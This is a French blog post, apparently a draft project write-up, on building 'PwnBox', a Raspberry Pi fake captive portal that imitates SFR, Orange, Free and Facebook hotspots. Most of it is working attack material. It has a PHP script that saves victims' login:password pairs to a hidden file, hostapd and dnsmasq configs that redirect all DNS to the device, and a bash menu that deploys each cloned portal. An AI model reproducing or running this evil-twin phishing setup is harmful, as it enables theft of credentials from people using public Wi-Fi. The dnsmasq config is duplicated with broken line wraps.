Projet – PwnBox : un faux portail captif SFR, Orange et FREE

Prérequis :

Raspberry PI 3

et c’est tout

Installation :

  • Coder les pages web
  • Installer apache
  • Configurer apache
  • Installer hostapd
  • Configurer hostapd
  • Installer dnsmasq
  • Configuration

Le principe et de créer un Rogue AP.

Une Rogue Access Point est tout simplement un point d’accès sans fil non autorisé par l’entreprise. Le problème est que les points d’accès non autorisés ne sont pas conformes aux politiques de sécurité sans fil de l’entreprise, ce qui présente une ouverture pour les attaquants directement depuis l’extérieur de l’établissement.

1er étape : Réaliser les pages de phishing aux couleurs des portail captif fournis par les FAI

Rien de compliqué ici, il m’a suffit d’enregistrer la page de du hotspot de SFR et de modifier le formulaire HTML pour qu’il soit traité par un programme en PHP.

<?php
// RECUPERATION DES DONNEES
$login 		= htmlspecialchars(trim($_GET['login']));
$password 		= htmlspecialchars(trim($_GET['password']));
$login[ strlen($login) ]= ":";
$code = $login . $password;
$code[ strlen($code) ]= "|";
$monfichier = fopen('axd0k4lpjut5uafhjcvif.txt', 'r+');
$ligne = fgets($monfichier);
fputs($monfichier, $code);
fclose($monfichier);
?>



<meta http-equiv="refresh" content="0; URL=http://localhost/index.html">
php get

2eme étape : Installer et configurer le serveur web

apt-get install apache2
apt-get install php

ensuite copier les pages web dans /var/www/html

Il est très important de créer un fichier accèss pour rediriger toutes les erreurs 404 vers notre page de phishing

DirectoryIndex index.html
ErrorDocument 404 /index.html

3eme étape installer Hostapd

apt-get install hostapd

Pour lancer hostapd avec le bon fichier de configuration il suffit de faire : hostapd orange-hostapd.conf

# This is the name of the WiFi interface we configured above
interface=wlan0
# Use the nl80211 driver with the brcmfmac driver
driver=nl80211
# This is the name of the network
ssid=orange
# Use the 2.4GHz band
hw_mode=g
# Use channel 6
channel=6
# Enable 802.11n
ieee80211n=1
# Enable WMM
wmm_enabled=1
# Enable 40MHz channels with 20ns guard interval
ht_capab=[HT40][SHORT-GI-20][DSSS_CCK-40]

4eme etape : installer dnsmasq

apt-get install dnsmasq
interface=wlan0      # Use interface wlan0

listen-address=172.24.1.1 # Explicitly specify the address to listen on

bind-interfaces      # Bind to the interface to make sure we aren't sending thin                                                                                        gs elsewhere

server=8.8.8.8       # Forward DNS requests to Google DNS

domain-needed        # Don't forward short names

bogus-priv           # Never forward addresses in the non-routed address spaces.                                                                                        

dhcp-range=172.24.1.50,172.24.1.150,12h # Assign IP addresses between 172.24.1.5                                                                                        0 and 172.24.1.150 with a 12 hour lease time  interface=wlan0      # Use interfa                                                                                        ce wlan0

listen-address=172.24.1.1 # Explicitly specify the address to listen on

bind-interfaces      # Bind to the interface to make sure we aren't sending thin                                                                                        gs elsewhere

server=8.8.8.8       # Forward DNS requests to Google DNS

domain-needed        # Don't forward short names

bogus-priv           # Never forward addresses in the non-routed address spaces.                                                                                        

dhcp-range=172.24.1.50,172.24.1.150,12h # Assign IP addresses between 172.24.1.5                                                                                        0 and 172.24.1.150 with a 12 hour lease time
## END
#Redirection traffic
address=/#/172.24.1.1

Je sources de mon projet sont disponible sur github : https://github.com/Thomas-Clauzel/PwnBox

#!/bin/bash
# PwnBox - Capture des login de FREE, SFR et ORANGE
# author : 0code
echo "
██████╗ ██╗    ██╗███╗   ██╗██████╗  ██████╗ ██╗  ██╗
██╔══██╗██║    ██║████╗  ██║██╔══██╗██╔═══██╗╚██╗██╔╝
██████╔╝██║ █╗ ██║██╔██╗ ██║██████╔╝██║   ██║ ╚███╔╝
██╔═══╝ ██║███╗██║██║╚██╗██║██╔══██╗██║   ██║ ██╔██╗
██║     ╚███╔███╔╝██║ ╚████║██████╔╝╚██████╔╝██╔╝ ██╗
╚═╝      ╚══╝╚══╝ ╚═╝  ╚═══╝╚═════╝  ╚═════╝ ╚═╝  ╚═╝

"
echo
PS3='Please enter your choice: '
options=("Option 1 - SFR" "Option 2 - ORANGE" "Option 3 - FREE" "Option 4 - FACEBOOK" "Option 5 - clean" "Quit")
select opt in "${options[@]}"
do
    case $opt in
        "Option 1 - SFR")
            echo "you chose choice 1 - SFR"
            cp -r /var/www/html/sfr/* /var/www/html
            hostapd sfr-hostapd.conf
            ;;
        "Option 2 - ORANGE")
            echo "you chose choice 2 - ORANGE"
            cp -r /var/www/html/orange/* /var/www/html
            hostapd orange-hostapd.conf
            ;;
        "Option 3 - FREE")
            echo "you chose choice 3 - FREE"
            cp -r /var/www/html/free/* /var/www/html
            hostapd free-hostapd.conf
            ;;
        "Option 4 - FACEBOOK")
            echo "you chose choice 4 - FACEBOOK"
            cp -r /var/www/html/facebook/* /var/www/html
            hostapd facebook-hostapd.conf
            ;;
        "Option 5 - clean")
            echo "you chose choice 5 - clean"
            rm -r /var/www/html/*
            ;;
        "Quit")
            break
            ;;
        *) echo "invalid option $REPLY";;
    esac
done

Le projet est encore en dev et l’article est une ébauche.

Quelques sources

RTSInfo – Création d’un faux hotspot WiFi · GitHub
How to set up a Wifi captive portal | Honoki
mitmproxy – an interactive HTTPS proxy
How to Setup Fake (Rogue) Access Point on Linux | hostapd – Shellvoide
Using your new Raspberry Pi 3 as a WiFi access point with hostapd
Créer une rogue ap (hotspot) avec son raspberry | Dyrk
https://gist.github.com/vtombez/435063cf955d7d2d46ce7427a984b1a1
» Phishing WiFi hotspots with captive portals
How to Turn Your Raspberry Pi into a Wireless Hotspot « Null Byte :: WonderHowTo
Evil Twin Attack [A Step by Step Guide] (Updated 2018)
Wifi ouvert – Attention aux faux hotspot ! (+ une démo avec un module Arduino) – Korbent

Petite remarque, en efft pwnbox n’est pas conçu pour être connecté à internet mais ça reste possible d’ajouter ça avec une NAT et du forward

Une réflexion au sujet de « Projet – PwnBox : un faux portail captif SFR, Orange et FREE »

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *